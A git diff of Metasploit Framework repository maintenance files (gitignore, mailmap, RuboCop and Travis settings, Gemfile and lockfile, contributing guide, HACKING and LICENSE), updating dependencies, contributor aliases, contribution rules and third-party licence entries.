diff --git a/.gitignore b/.gitignore index 82e108ff0c..47ace45b2e 100644 --- a/.gitignore +++ b/.gitignore @@ -1,4 +1,6 @@ .bundle +Gemfile.local +Gemfile.local.lock # Rubymine project directory .idea # Sublime Text project directory (not created by ST by default) @@ -11,10 +13,10 @@ .DS_Store # database config for testing config/database.yml +# target config file for testing +features/support/targets.yml # simplecov coverage data coverage -data/meterpreter/ext_server_pivot.x86.dll -data/meterpreter/ext_server_pivot.x64.dll doc/ external/source/meterpreter/java/bin external/source/meterpreter/java/build @@ -48,6 +50,30 @@ tags *.opensdf *.user +# Rails log directory +/log +# Rails tmp directory +/tmp + # ignore release/debug folders for exploits external/source/exploits/**/Debug external/source/exploits/**/Release + +# Avoid checking in Meterpreter binaries. These are supplied upstream by +# the meterpreter_bins gem. +data/meterpreter/elevator.*.dll +data/meterpreter/ext_server_espia.*.dll +data/meterpreter/ext_server_extapi.*.dll +data/meterpreter/ext_server_incognito.*.dll +data/meterpreter/ext_server_kiwi.*.dll +data/meterpreter/ext_server_lanattacks.*.dll +data/meterpreter/ext_server_mimikatz.*.dll +data/meterpreter/ext_server_priv.*.dll +data/meterpreter/ext_server_stdapi.*.dll +data/meterpreter/metsrv.*.dll +data/meterpreter/screenshot.*.dll + +# Avoid checking in Meterpreter libs that are built from +# private source. If you're interested in this functionality, +# check out Metasploit Pro: http://metasploit.com/download +data/meterpreter/ext_server_pivot.*.dll diff --git a/.mailmap b/.mailmap index 459d4a064e..79a858c2a7 100644 --- a/.mailmap +++ b/.mailmap @@ -2,6 +2,7 @@ bturner-r7 Brandon Turner dmaloney-r7 David Maloney dmaloney-r7 David Maloney # aka TheLightCosine ecarey-r7 Erran Carey +farias-r7 Fernando Arias hmoore-r7 HD Moore hmoore-r7 HD Moore jlee-r7 egypt # aka egypt @@ -13,14 +14,17 @@ jvazquez-r7 jvazquez-r7 jvazquez-r7 jvazquez-r7 limhoff-r7 Luke Imhoff shuckins-r7 Samuel Huckins -tasos-r7 Tasos Laskos todb-r7 Tod Beardsley todb-r7 Tod Beardsley +todb-r7 Tod Beardsley +trosen-r7 Trevor Rosen +trosen-r7 Trevor Rosen wchen-r7 sinn3r # aka sinn3r wchen-r7 sinn3r wchen-r7 Wei Chen wvu-r7 William Vu wvu-r7 William Vu +wvu-r7 William Vu # Above this line are current Rapid7 employees. Below this paragraph are # volunteers, former employees, and potential Rapid7 employees who, at @@ -72,9 +76,18 @@ OJ OJ Reeves OJ OJ r3dy Royce Davis r3dy Royce Davis +Rick Flores <0xnanoquetz9l@gmail.com> Rick Flores (nanotechz9l) <0xnanoquetz9l@gmail.com> rsmudge Raphael Mudge # Aka `butane schierlm Michael Schierl # Aka mihi scriptjunkie Matt Weeks skape Matt Miller spoonm Spoon M swtornio Steve Tornio +Tasos Laskos Tasos Laskos +TrustedSec trustedsec + +# Aliases for utility author names. Since they're fake, typos abound + +Tab Assassin Tabasssassin +Tab Assassin Tabassassin +Tab Assassin TabAssassin diff --git a/.rubocop.yml b/.rubocop.yml new file mode 100644 index 0000000000..c9ba4d1bb3 --- /dev/null +++ b/.rubocop.yml @@ -0,0 +1,79 @@ +# This list was intially created by analyzing the last three months (51 +# modules) committed to Metasploit Framework. Many, many older modules +# will have offenses, but this should at least provide a baseline for +# new modules. +# +# Updates to this file should include a 'Description' parameter for any +# explaination needed. + +# inherit_from: .rubocop_todo.yml + +Style/ClassLength: + Description: 'Most Metasploit modules are quite large. This is ok.' + Enabled: true + Exclude: + - 'modules/**/*' + +Style/Documentation: + Enabled: true + Description: 'Most Metasploit modules do not have class documentation.' + Exclude: + - 'modules/**/*' + +Style/Encoding: + Enabled: true + Description: 'We prefer binary to UTF-8.' + EnforcedStyle: 'when_needed' + +Style/LineLength: + Description: >- + Metasploit modules often pattern match against very + long strings when identifying targets. + Enabled: true + Max: 180 + +Style/MethodLength: + Enabled: true + Description: >- + While the style guide suggests 10 lines, exploit definitions + often exceed 200 lines. + Max: 300 + +# Basically everything in metasploit needs binary encoding, not UTF-8. +# Disable this here and enforce it through msftidy +Style/Encoding: + Enabled: false + +Style/NumericLiterals: + Enabled: false + Description: 'This often hurts readability for exploit-ish code.' + +Style/SpaceInsideBrackets: + Enabled: false + Description: 'Until module template are final, most modules will fail this.' + +Style/StringLiterals: + Enabled: false + Description: 'Single vs double quote fights are largely unproductive.' + +Style/WordArray: + Enabled: false + Description: 'Metasploit prefers consistent use of []' + +Style/RedundantBegin: + Exclude: + # this pattern is very common and somewhat unavoidable + # def run_host(ip) + # begin + # ... + # rescue ... + # ... + # ensure + # disconnect + # end + # end + - 'modules/**/*' + +Documentation: + Exclude: + - 'modules/**/*' diff --git a/.ruby-version b/.ruby-version index 7a895c2142..75bfecd56a 100644 --- a/.ruby-version +++ b/.ruby-version @@ -1 +1 @@ -1.9.3-p484 +1.9.3-p547 diff --git a/.travis.yml b/.travis.yml index 1ae7e19bcf..a808dbc120 100644 --- a/.travis.yml +++ b/.travis.yml @@ -1,11 +1,25 @@ +env: + - RAKE_TASK=cucumber + - RAKE_TASK=cucumber:boot + - RAKE_TASK=spec + language: ruby before_install: + - rake --version - sudo apt-get update -qq - sudo apt-get install -qq libpcap-dev + # Uncomment when we have fewer shipping msftidy warnings. + # Merge committers will still be checking, just not autofailing. + # See https://dev.metasploit.com/redmine/issues/8498 + # - ln -sf ../../tools/dev/pre-commit-hook.rb ./.git/hooks/post-merge + # - ls -la ./.git/hooks + # - ./.git/hooks/post-merge before_script: - cp config/database.yml.travis config/database.yml - - rake db:create - - rake db:migrate + - bundle exec rake --version + - bundle exec rake db:create + - bundle exec rake db:migrate +script: "bundle exec rake $RAKE_TASK" rvm: #- '1.8.7' diff --git a/.yardopts b/.yardopts index bb3a0e391f..b58b0bda2b 100644 --- a/.yardopts +++ b/.yardopts @@ -3,5 +3,8 @@ --exclude \.ut\.rb/ --exclude \.ts\.rb/ --files CONTRIBUTING.md,COPYING,HACKING,LICENSE +app/**/*.rb lib/msf/**/*.rb +lib/metasploit/**/*.rb lib/rex/**/*.rb +plugins/**/*.rb diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md index 1d6a7b48e9..5dfafcbc46 100644 --- a/CONTRIBUTING.md +++ b/CONTRIBUTING.md @@ -1,44 +1,86 @@ +# Hello, World! + +Thanks for your interest in making Metasploit -- and therefore, the +world -- a better place! + +Are you about to report a bug? Sorry to hear it. + +Here's our [Issue tracker](https://github.com/rapid7/metasploit-framework/issues). +Please try to be as specific you can about your problem, include steps +to reproduce (cut and paste from your console output if it's helpful), and +what you were expecting to happen. + +Are you about to report a security vulnerability in Metasploit itself? +How ironic! Please take a look at Rapid's [Vulnerability +Disclosure Policy](https://www.rapid7.com/disclosure.jsp), and send +your report to security@rapid7.com using [our PGP key](http://pgp.mit.edu:11371/pks/lookup?op=vindex&search=0x2380F85B8AD4DB8D). + +Are you about to contribute some new functionality, a bug fix, or a new +Metasploit module? If so, read on... + # Contributing to Metasploit -## Reporting Bugs +What you see here in CONTRIBUTING.md is a bullet-point list of the do's +and don'ts of how to make sure *your* valuable contributions actually +make it into Metasploit's master branch. -If you would like to report a bug, please take a look at [our Redmine -issue -tracker](https://dev.metasploit.com/redmine/projects/framework/issues?query_id=420) --- your bug may already have been reported there! Simply [searching](https://dev.metasploit.com/redmine/projects/framework/search) for some appropriate keywords may save everyone a lot of hassle. +If you care not to follow these rules, your contribution **will** be +closed (*Road House* style). Sorry! -If your bug is new and you'd like to report it you will need to -[register -first](https://dev.metasploit.com/redmine/account/register). Don't -worry, it's easy and fun and takes about 30 seconds. +This is intended to be a **short** list. The +[wiki](https://github.com/rapid7/metasploit-framework/wiki) is much more +exhaustive and reveals many mysteries. If you read nothing else, take a +look at the standard [development environment setup +guide](https://github.com/rapid7/metasploit-framework/wiki/Setting-Up-a-Metasploit-Development-Environment) +and Metasploit's [Common Coding Mistakes](https://github.com/rapid7/metasploit-framework/wiki/Common-Metasploit-Module-Coding-Mistakes). -When you file a bug report, please include your **steps to reproduce**, -full copy-pastes of Ruby stack traces, and any relevant details about -your environment. Without repro steps, your bug will likely be closed. -With repro steps, your bugs will likely be fixed. +## Code Contributions -## Contributing Metasploit Modules +* **Do** stick to the [Ruby style guide](https://github.com/bbatsov/ruby-style-guide). +* *Do* get [Rubocop](https://rubygems.org/search?query=rubocop) relatively quiet against the code you are adding or modifying. +* **Do** follow the [50/72 rule](http://tbaggery.com/2008/04/19/a-note-about-git-commit-messages.html) for Git commit messages. +* **Do** create a [topic branch](http://git-scm.com/book/en/Git-Branching-Branching-Workflows#Topic-Branches) to work on instead of working directly on `master`. -If you have an exploit that you'd like to contribute to the Metasploit -Framework, please familiarize yourself with the -**[HACKING](https://github.com/rapid7/metasploit-framework/blob/master/HACKING)** -document in the -Metasploit-Framework repository. There are many mysteries revealed in -HACKING concerning code style and content. +### Pull Requests -[Pull requests](https://github.com/rapid7/metasploit-framework/pulls) -should corellate with modules at a 1:1 ratio --- there is rarely a good reason to have two, three, or ten modules on -one pull request, as this dramatically increases the review time -required to land (commit) any of those modules. +* **Do** target your pull request to the **master branch**. Not staging, not develop, not release. +* **Do** specify a descriptive title to make searching for your pull request easier. +* **Do** include [console output](https://help.github.com/articles/github-flavored-markdown#fenced-code-blocks), especially for witnessable effects in `msfconsole`. +* **Do** list [verification steps](https://help.github.com/articles/writing-on-github#task-lists) so your code is testable. +* **Don't** leave your pull request description blank. +* **Don't** abandon your pull request. Being responsive helps us land your code faster. -Pull requests tend to be very collaborative for Metasploit -- do not be -surprised if your pull request to rapid7/metasploit-framework triggers a -pull request back to your own fork. In this way, we can isolate working -changes before landing your PR to the Metasploit master branch. +Pull requests [#2940](https://github.com/rapid7/metasploit-framework/pull/2940) and [#3043](https://github.com/rapid7/metasploit-framework/pull/3043) are a couple good examples to follow. -To save yourself the embarrassment of committing common errors, you will -want to symlink the `msftidy.rb` utility to your pre-commit hooks by -running `ln -s ../../tools/dev/pre-commit-hook.rb .git/hooks/pre-commit` -from the top-level directory of your metasploit-framework clone. This -will prevent you from committing modules that raise WARNINGS or ERRORS. +#### New Modules + +* **Do** run `tools/msftidy.rb` against your module and fix any errors or warnings that come up. Even better would be to set up `msftidy.rb` as a [pre-commit hook](https://github.com/rapid7/metasploit-framework/blob/master/tools/dev/pre-commit-hook.rb). +* **Do** use the [many module mixin APIs](https://dev.metasploit.com/api/). Wheel improvements are welcome; wheel reinventions, not so much. +* **Don't** include more than one module per pull request. + +#### Library Code + +* **Do** write [RSpec](http://rspec.info/) tests - even the smallest change in library land can thoroughly screw things up. +* **Do** follow [Better Specs](http://betterspecs.org/) - it's like the style guide for specs. +* **Do** write [YARD](http://yardoc.org/) documentation - this makes it easier for people to use your code. +* **Don't** fix a lot of things in one pull request. Small fixes are easier to validate. + +#### Bug Fixes + +* **Do** include reproduction steps in the form of verification steps. +* **Do** include a link to any corresponding [Issue](https://github.com/rapid7/metasploit-framework/issues) in the format of `See #1234` in your commit description. + +## Bug Reports + +* **Do** report vulnerabilities in Rapid7 software directly to security@rapid7.com. +* **Do** write a detailed description of your bug and use a descriptive title. +* **Do** include reproduction steps, stack traces, and anything else that might help us verify and fix your bug. +* **Don't** file duplicate reports - search for your bug before filing a new report. + +If you need some more guidance, talk to the main body of open +source contributors over on the [Freenode IRC channel](http://webchat.freenode.net/?channels=%23metasploit&uio=d4) +or e-mail us at [metasploit-hackers](https://lists.sourceforge.net/lists/listinfo/metasploit-hackers) +mailing list. + +Also, **thank you** for taking the few moments to read this far! You're +already way ahead of the curve, so keep it up! diff --git a/COPYING b/COPYING index abacaa53dd..6e9829593e 100644 --- a/COPYING +++ b/COPYING @@ -1,4 +1,4 @@ -Copyright (C) 2006-2013, Rapid7 Inc. +Copyright (C) 2006-2013, Rapid7, Inc. All rights reserved. Redistribution and use in source and binary forms, with or without modification, diff --git a/Gemfile b/Gemfile index 26b450c436..4f004c509d 100755 --- a/Gemfile +++ b/Gemfile @@ -1,58 +1,57 @@ source 'https://rubygems.org' - -# Need 3+ for ActiveSupport::Concern -gem 'activesupport', '>= 3.0.0' -# Needed for some admin modules (scrutinizer_add_user.rb) -gem 'json' -# Needed by msfgui and other rpc components -gem 'msgpack' -# Needed by anemone crawler -gem 'nokogiri' -# Needed by anemone crawler -gem 'robots' -# Needed by db.rb and Msf::Exploit::Capture -gem 'packetfu', '1.1.9' +# Add default group gems to `metasploit-framework.gemspec`: +# spec.add_runtime_dependency '', [] +gemspec group :db do # Needed for Msf::DbManager - gem 'activerecord' + gem 'activerecord', '>= 3.0.0', '< 4.0.0' + # Metasploit::Credential database models + gem 'metasploit-credential', '>= 0.9.0' # Database models shared between framework and Pro. - gem 'metasploit_data_models', '~> 0.16.6' + gem 'metasploit_data_models', '~> 0.19' # Needed for module caching in Mdm::ModuleDetails gem 'pg', '>= 0.11' end +group :development do + # Markdown formatting for yard + gem 'redcarpet' + # generating documentation + gem 'yard' + # for development and testing purposes + gem 'pry' +end + +group :development, :test do + # supplies factories for producing model instance for specs + # Version 4.1.0 or newer is needed to support generate calls without the + # 'FactoryGirl.' in factory definitions syntax. + gem 'factory_girl', '>= 4.1.0' + # automatically include factories from spec/factories + gem 'factory_girl_rails' + # Make rspec output shorter and more useful + gem 'fivemat', '1.2.1' + # running documentation generation tasks and rspec tasks + gem 'rake', '>= 10.0.0' + # testing framework + gem 'rspec', '>= 2.12', '< 3.0.0' + # Define `rake spec`. Must be in development AND test so that its available by default as a rake test when the + # environment is development + gem 'rspec-rails' , '>= 2.12', '< 3.0.0' +end + group :pcap do gem 'network_interface', '~> 0.0.1' # For sniffer and raw socket modules gem 'pcaprub' end -group :development do - # Markdown formatting for yard - gem 'redcarpet' - # generating documentation - gem 'yard' -end - -group :development, :test do - # supplies factories for producing model instance for specs - # Version 4.1.0 or newer is needed to support generate calls without the - # 'FactoryGirl.' in factory definitions syntax. - gem 'factory_girl', '>= 4.1.0' - # Make rspec output shorter and more useful - gem 'fivemat', '1.2.1' - # running documentation generation tasks and rspec tasks - gem 'rake', '>= 10.0.0' -end - group :test do - # Removes records from database created during tests. Can't use rspec-rails' - # transactional fixtures because multiple connections are in use so - # transactions won't work. - gem 'database_cleaner' - # testing framework - gem 'rspec', '>= 2.12' + # cucumber extension for testing command line applications, like msfconsole + gem 'aruba' + # cucumber + automatic database cleaning with database_cleaner + gem 'cucumber-rails' gem 'shoulda-matchers' # code coverage for tests # any version newer than 0.5.4 gives an Encoding error when trying to read the source files. diff --git a/Gemfile.local.example b/Gemfile.local.example new file mode 100644 index 0000000000..1707e69605 --- /dev/null +++ b/Gemfile.local.example @@ -0,0 +1,34 @@ +## +# Example Gemfile.local file for Metasploit Framework +# +# The Gemfile.local file provides a way to use other gems that are not +# included in the standard Gemfile provided with Metasploit. +# This filename is included in Metasploit's .gitignore file, so local changes +# to this file will not accidentally show up in future pull requests. This +# example Gemfile.local includes all gems in Gemfile using instance_eval. +# It also creates a new bundle group, 'local', to hold additional gems. +# +# This file will not be used by default within the framework. As such, one +# must first install the custom Gemfile.local with bundle: +# bundle install --gemfile Gemfile.local +# +# Note that msfupdate does not consider Gemfile.local when updating the +# framework. If it is used, it may be necessary to run the above bundle +# command after the update. +# +### + +# Include the Gemfile included with the framework. This is very +# important for picking up new gem dependencies. +msf_gemfile = File.join(File.dirname(__FILE__), 'Gemfile') +if File.readable?(msf_gemfile) + instance_eval(File.read(msf_gemfile)) +end + +# Create a custom group +group :local do + # Use pry-debugger to step through code during development + gem 'pry-debugger', '~> 0.2' + # Add the lab gem so that the 'lab' plugin will work again + gem 'lab', '~> 0.2.7' +end diff --git a/Gemfile.lock b/Gemfile.lock index d7b1bd88e7..cfcf67342a 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -1,81 +1,227 @@ +PATH + remote: . + specs: + metasploit-framework (4.10.1.pre.dev) + actionpack (< 4.0.0) + activesupport (>= 3.0.0, < 4.0.0) + bcrypt + json + metasploit-model (~> 0.26.1) + meterpreter_bins (= 0.0.7) + msgpack + nokogiri + packetfu (= 1.1.9) + railties + rkelly-remix (= 0.0.6) + robots + rubyzip (~> 1.1) + sqlite3 + tzinfo + GEM remote: https://rubygems.org/ specs: - activemodel (3.2.14) - activesupport (= 3.2.14) + actionmailer (3.2.19) + actionpack (= 3.2.19) + mail (~> 2.5.4) + actionpack (3.2.19) + activemodel (= 3.2.19) + activesupport (= 3.2.19) builder (~> 3.0.0) - activerecord (3.2.14) - activemodel (= 3.2.14) - activesupport (= 3.2.14) + erubis (~> 2.7.0) + journey (~> 1.0.4) + rack (~> 1.4.5) + rack-cache (~> 1.2) + rack-test (~> 0.6.1) + sprockets (~> 2.2.1) + activemodel (3.2.19) + activesupport (= 3.2.19) + builder (~> 3.0.0) + activerecord (3.2.19) + activemodel (= 3.2.19) + activesupport (= 3.2.19) arel (~> 3.0.2) tzinfo (~> 0.3.29) - activesupport (3.2.14) + activeresource (3.2.19) + activemodel (= 3.2.19) + activesupport (= 3.2.19) + activesupport (3.2.19) i18n (~> 0.6, >= 0.6.4) multi_json (~> 1.0) - arel (3.0.2) + arel (3.0.3) + arel-helpers (2.0.1) + activerecord (>= 3.1.0, < 5) + aruba (0.6.1) + childprocess (>= 0.3.6) + cucumber (>= 1.1.1) + rspec-expectations (>= 2.7.0) + bcrypt (3.1.7) builder (3.0.4) - database_cleaner (1.1.1) - diff-lcs (1.2.4) - factory_girl (4.2.0) + capybara (2.4.1) + mime-types (>= 1.16) + nokogiri (>= 1.3.3) + rack (>= 1.0.0) + rack-test (>= 0.5.4) + xpath (~> 2.0) + childprocess (0.5.3) + ffi (~> 1.0, >= 1.0.11) + coderay (1.1.0) + cucumber (1.2.1) + builder (>= 2.1.2) + diff-lcs (>= 1.1.3) + gherkin (~> 2.11.0) + json (>= 1.4.6) + cucumber-rails (1.4.0) + capybara (>= 1.1.2) + cucumber (>= 1.2.0) + nokogiri (>= 1.5.0) + rails (>= 3.0.0) + diff-lcs (1.2.5) + erubis (2.7.0) + factory_girl (4.4.0) activesupport (>= 3.0.0) + factory_girl_rails (4.4.1) + factory_girl (~> 4.4.0) + railties (>= 3.0.0) + ffi (1.9.3) fivemat (1.2.1) - i18n (0.6.5) - json (1.8.0) - metasploit_data_models (0.16.6) - activerecord (>= 3.2.13) - activesupport + gherkin (2.11.6) + json (>= 1.7.6) + hike (1.2.3) + i18n (0.6.11) + journey (1.0.4) + json (1.8.1) + mail (2.5.4) + mime-types (~> 1.16) + treetop (~> 1.4.8) + metasploit-concern (0.1.1) + activesupport (~> 3.0, >= 3.0.0) + metasploit-credential (0.9.0) + metasploit-concern (~> 0.1.0) + metasploit-model (~> 0.26.1) + metasploit_data_models (~> 0.19.4) pg - mini_portile (0.5.1) - msgpack (0.5.5) - multi_json (1.0.4) + rubyntlm + rubyzip (~> 1.1) + metasploit-model (0.26.1) + activesupport + metasploit_data_models (0.19.4) + activerecord (>= 3.2.13, < 4.0.0) + activesupport + arel-helpers + metasploit-concern (~> 0.1.0) + metasploit-model (~> 0.26.1) + pg + meterpreter_bins (0.0.7) + method_source (0.8.2) + mime-types (1.25.1) + mini_portile (0.6.0) + msgpack (0.5.8) + multi_json (1.0.3) network_interface (0.0.1) - nokogiri (1.6.0) - mini_portile (~> 0.5.0) + nokogiri (1.6.3.1) + mini_portile (= 0.6.0) packetfu (1.1.9) pcaprub (0.11.3) - pg (0.16.0) - rake (10.1.0) - redcarpet (3.0.0) + pg (0.17.1) + polyglot (0.3.5) + pry (0.10.0) + coderay (~> 1.1.0) + method_source (~> 0.8.1) + slop (~> 3.4) + rack (1.4.5) + rack-cache (1.2) + rack (>= 0.4) + rack-ssl (1.3.4) + rack + rack-test (0.6.2) + rack (>= 1.0) + rails (3.2.19) + actionmailer (= 3.2.19) + actionpack (= 3.2.19) + activerecord (= 3.2.19) + activeresource (= 3.2.19) + activesupport (= 3.2.19) + bundler (~> 1.0) + railties (= 3.2.19) + railties (3.2.19) + actionpack (= 3.2.19) + activesupport (= 3.2.19) + rack-ssl (~> 1.3.2) + rake (>= 0.8.7) + rdoc (~> 3.4) + thor (>= 0.14.6, < 2.0) + rake (10.3.2) + rdoc (3.12.2) + json (~> 1.4) + redcarpet (3.1.2) + rkelly-remix (0.0.6) robots (0.10.1) - rspec (2.14.1) - rspec-core (~> 2.14.0) - rspec-expectations (~> 2.14.0) - rspec-mocks (~> 2.14.0) - rspec-core (2.14.5) - rspec-expectations (2.14.2) + rspec (2.99.0) + rspec-core (~> 2.99.0) + rspec-expectations (~> 2.99.0) + rspec-mocks (~> 2.99.0) + rspec-collection_matchers (1.0.0) + rspec-expectations (>= 2.99.0.beta1) + rspec-core (2.99.1) + rspec-expectations (2.99.2) diff-lcs (>= 1.1.3, < 2.0) - rspec-mocks (2.14.3) - shoulda-matchers (2.3.0) - activesupport (>= 3.0.0) + rspec-mocks (2.99.2) + rspec-rails (2.99.0) + actionpack (>= 3.0) + activemodel (>= 3.0) + activesupport (>= 3.0) + railties (>= 3.0) + rspec-collection_matchers + rspec-core (~> 2.99.0) + rspec-expectations (~> 2.99.0) + rspec-mocks (~> 2.99.0) + rubyntlm (0.4.0) + rubyzip (1.1.6) + shoulda-matchers (2.6.2) simplecov (0.5.4) multi_json (~> 1.0.3) simplecov-html (~> 0.5.3) simplecov-html (0.5.3) - timecop (0.6.3) - tzinfo (0.3.37) - yard (0.8.7) + slop (3.6.0) + sprockets (2.2.2) + hike (~> 1.2) + multi_json (~> 1.0) + rack (~> 1.0) + tilt (~> 1.1, != 1.3.0) + sqlite3 (1.3.9) + thor (0.19.1) + tilt (1.4.1) + timecop (0.7.1) + treetop (1.4.15) + polyglot + polyglot (>= 0.3.1) + tzinfo (0.3.41) + xpath (2.0.0) + nokogiri (~> 1.3) + yard (0.8.7.4) PLATFORMS ruby DEPENDENCIES - activerecord - activesupport (>= 3.0.0) - database_cleaner + activerecord (>= 3.0.0, < 4.0.0) + aruba + cucumber-rails factory_girl (>= 4.1.0) + factory_girl_rails fivemat (= 1.2.1) - json - metasploit_data_models (~> 0.16.6) - msgpack + metasploit-credential (>= 0.9.0) + metasploit-framework! + metasploit_data_models (~> 0.19) network_interface (~> 0.0.1) - nokogiri - packetfu (= 1.1.9) pcaprub pg (>= 0.11) + pry rake (>= 10.0.0) redcarpet - robots - rspec (>= 2.12) + rspec (>= 2.12, < 3.0.0) + rspec-rails (>= 2.12, < 3.0.0) shoulda-matchers simplecov (= 0.5.4) timecop diff --git a/HACKING b/HACKING index e161a05683..17343a9f03 100644 --- a/HACKING +++ b/HACKING @@ -1,143 +1,38 @@ -# $Id$ +HACKING +======= -This file contains some brief instructions on contributing to the -Metasploit Framework. +(Last updated: 2014-03-04) -Code Style -========== +This document almost entirely deprecated by: -In order to maintain consistency and readability, we ask that you -adhere to the following style guidelines: +CONTRIBUTING.md - - Standard Ruby two-space soft tabs, not hard tabs. - - Try to keep your lines under 100 columns (assuming two-space tabs) - - do; end instead of {} for a block - - Always use str[0,1] instead of str[0] - (This avoids a known ruby 1.8/1.9 incompatibility.) - - Method names should always be lower_case and words separated by "_" - - Variable names should be lower case with words separated by "_" - - Don't depend on any external gems or libraries without talking to - todb to resolve packaging and licensing issues +in the same directory as this file, and to a lesser extent: -You can use the the "./tools/msftidy.rb" script to do some rudimentary -checking for various violations. +The Metasploit Development Environment +https://github.com/rapid7/metasploit-framework/wiki/Setting-Up-a-Metasploit-Development-Environment +Common Coding Mistakes +https://github.com/rapid7/metasploit-framework/wiki/Common-Metasploit-Module-Coding-Mistakes -Code No-Nos -=========== +The Ruby Style Guide +https://github.com/bbatsov/ruby-style-guide -1. Don't print to standard output. Doing so means that users of -interfaces other than msfconsole, such as msfrpc and msfgui, won't see -your output. You can use print_line to accomplish the same thing as -puts. +Ruby 1.9: What to Expect +http://slideshow.rubyforge.org/ruby19.html -2. Don't read from standard input, doing so will make your code -lock up the entire module when called from other interfaces. If you -need user input, you can either register an option or expose an -interactive session type specific for the type of exploit. +You can use the the "./tools/msftidy.rb" script against your new and +changed modules to do some rudimentary checking for various style and +syntax violations. -3. Always use Rex sockets, not ruby sockets. This includes -third-party libraries such as Net::Http. There are several very good -reasons for this rule. First, the framework doesn't get notified on -the creation of ruby sockets and won't know how to clean them up in -case your module raises an exception without cleaning up after itself. -Secondly, non-Rex sockets do not know about routes and therefore can't -be used through a meterpreter tunnel. Lastly, regular sockets miss -out on msf's proxy and SSL features. Msf includes many protocols -already implemented with Rex and if the protocol you need is missing, -porting another library to use them is straight-forward. See our -Net::SSH modifications in lib/net/ssh/ for an example. +Licensing for Your New Content +============================== -4. When opening an IO stream, always force binary with "b" mode (or -using IO#binmode). This not only helps keep Windows and non-Windows -runtime environments consistent with each other, but also guarantees -that files will be treated as ASCII-8BIT instead of UTF-8. - -5. Don't use String#[] for a single character. This returns a Fixnum in -ruby 1.8 and a String in 1.9, so it's safer to use the following idiom: - str[idx,1] -which always returns a String. If you need the ASCII byte, unpack it like -so: - tr[idx,1].unpack("C")[0] - -6. Whenever possible, avoid using '+' or '+=' to concatenate strings. -The '<<' operator is significantly faster. The difference will become -even more apparent when doing string manipulation in a loop. The -following table approximates the underlying implementation: - - Ruby Pseudo-C - ----------- ---------------- - a = b + c a = malloc(b.len+c.len+1); - strcpy(a, b); - memcpy(a+b.len, c, c.len); - a[b.len + c.len] = '\0'; - a = b a = b; - a << c a = realloc(a, a.len+c.len+1); - memcpy(a+a.len, c, c.len); - a[a.len + c.len] = '\0'; - -Note that the original value of 'b' is lost in the second case. Care -must be taken to duplicate strings that you do not want to modify. - -7. For other Ruby 1.8.x/1.9.x compat issues, please see Sam Ruby's -excellent slide show at -for an overview of common and not-so-common Ruby version related gotchas. - -8. Never, ever use $global variables. This applies to modules, mixins, -and libraries. If you need a "global" within a specific class, you can -use @@class_variables, but most modules should use @instance variables -to store information between methods. - -Creating New Modules -==================== - -When creating a new module, the simplest way to start is to copy -another module that uses the same protocol and modify it to your -needs. If you're creating an exploit module, generally you'll want -to edit the exploit() method. Auxiliary Scanner modules use one of -run_host(), run_range(), or run_batch() instead of exploit(). -Non-scanner aux modules use run(). - - -Submitting Your Code -==================== - -To get started with a Metasploit Framework source clone, simply: - - - Fork rapid7/metasploit-framework to your GitHub account - - git clone git://github.com/YourName/metasploit-framework.git - - gem install bundler - - bundle install - -More detailed documentation regarding the process for submitting new -modules via GitHub is documented here: - -https://github.com/rapid7/metasploit-framework/wiki/Metasploit-Development-Environment - -This describes the process of forking, editing, and generating a -pull request, and is the preferred method for bringing new modules -and framework enhancements to the attention of the core Metasploit -development team. Note that this process requires a GitHub account. - -For Git commits, please adhere to 50/72 formatting: your commits should -start with a line 50 characters or less, followed by a blank line, -followed by one or more lines of explanatory text wrapped at at 72 -characters Pull requests with commits not formatted this way will -be rejected without review. - -For modules, note that Author field is not automatic, and should be -filled in in the format of 'Your Name ' so future -developers can contact you with any questions. - -Licensing -========= By submitting code contributions to the Metasploit Project it is assumed that you are offering your code under the Metasploit License -or similar 3-clause BSD-compatible license. MIT and Ruby Licenses +or similar 3-clause BSD-compatible license. MIT and Ruby Licenses are also fine. We specifically cannot include GPL code. LGPL code -is accepted on a case by case basis for libraries only and is never +is accepted on a case by case basis for libraries only and is never accepted for modules. -When possible, such as aux and exploit modules, be sure to include -your license designation in the file in the appropriate place. diff --git a/LICENSE b/LICENSE index acb2f21eca..e16ad8f0a2 100644 --- a/LICENSE +++ b/LICENSE @@ -2,19 +2,23 @@ Format: http://www.debian.org/doc/packaging-manuals/copyright-format/1.0/ Source: http://www.metasploit.com/ Files: * -Copyright: 2006-2013, Rapid7 Inc. +Copyright: 2006-2014, Rapid7, Inc. License: BSD-3-clause # The Metasploit Framework is provided under the 3-clause BSD license provided # at the end of this file. # -# The copyright on this package is held by Rapid7 LLC. +# The copyright on this package is held by Rapid7, Inc. # # This license does not apply to third-party components detailed below. # # Last updated: 2013-Nov-04 # +Files: data/templates/to_mem_pshreflection.ps1.template +Copyright: 2012, Matthew Graeber +License: BSD-3-clause + Files: data/john/* Copyright: 1996-2011 Solar Designer. License: GPL-2 @@ -32,6 +36,10 @@ Files: external/ruby-lorcon/* Copyright: 2005, dragorn and Joshua Wright License: LGPL-2.1 +Files: external/source/exploits/IE11SandboxEscapes/* +Copyright: James Forshaw, 2014 +License: GPLv3 + Files: external/source/byakugan/* Copyright: Lurene Grenier, 2009 License: BSD-3-clause @@ -41,93 +49,10 @@ Copyright: 2004-2005 vlad902 2007 H D Moore License: GPL-2 and Artistic -Files: external/source/meterpreter/ReflectiveDLLInjection/* -Copyright: 2009, Stephen Fewer of Harmony Security (www.harmonysecurity.com) +Files: external/source/ReflectiveDLLInjection/* +Copyright: 2011, Stephen Fewer of Harmony Security (www.harmonysecurity.com) License: BSD-3-clause -Files: external/source/meterpreter/source/common/queue.h -Copyright: 1991, 1993 The Regents of the University of California -License: BSD-3-clause - -Files: external/source/meterpreter/source/common/zlib/* external/source/meterpreter/source/server/zlib/* -Copyright: 1995-1996 Jean-loup Gailly and Mark Adler -License: Zlib - -Files: external/source/meterpreter/source/bionic/libc/* -Copyright: 2005-2008, The Android Open Source Project - 2004 by Internet Systems Consortium, Inc. ("ISC") - 1995,1996,1999 by Internet Software Consortium - 1995 by International Business Machines, Inc. - 1997,1998,1999,2004 The NetBSD Foundation, Inc. - 1993 Christopher G. Demetriou - 1983,1985,1989,1993 The Regents of the University of California - 2000 Ben Harris - 1995,1996,1997,1998 WIDE Project - 2003 Networks Associates Technology, Inc. - 1993 by Digital Equipment Corporation - 1997 Mark Brinicombe - 1993 Martin Birgmeier - 1993 by Sun Microsystems, Inc. - 1997, 2005 Todd C. Miller - 1995, 1996 Carnegie-Mellon University - 2003 Networks Associates Technology, Inc. -License: 